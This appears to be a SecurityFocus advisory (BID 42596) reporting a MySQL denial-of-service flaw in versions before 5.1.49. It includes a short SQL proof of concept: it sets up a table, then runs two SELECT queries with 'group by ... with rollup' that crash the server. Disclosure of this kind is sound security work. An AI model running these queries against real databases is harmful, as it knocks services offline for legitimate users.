18 lines
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716 B
Text
18 lines
No EOL
716 B
Text
source: https://www.securityfocus.com/bid/42596/info
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MySQL is prone to a denial-of-service vulnerability.
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An attacker can exploit this issue to crash the database, denying access to legitimate users.
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This issue affects versions prior to MySQL 5.1.49.
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NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it.
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PoC:
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drop table if exists `t1`;
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create table `t1`(`a` int)engine=myisam;
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insert into `t1` values (1);
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/*crash1*/select (`a` in (`a`,`a`)) from `t1` group by `a` with rollup;
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/*crash2*/select (case (`a`) when (`a`) then (`a`) end) as `a` from `t1` group by `a`
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with rollup; |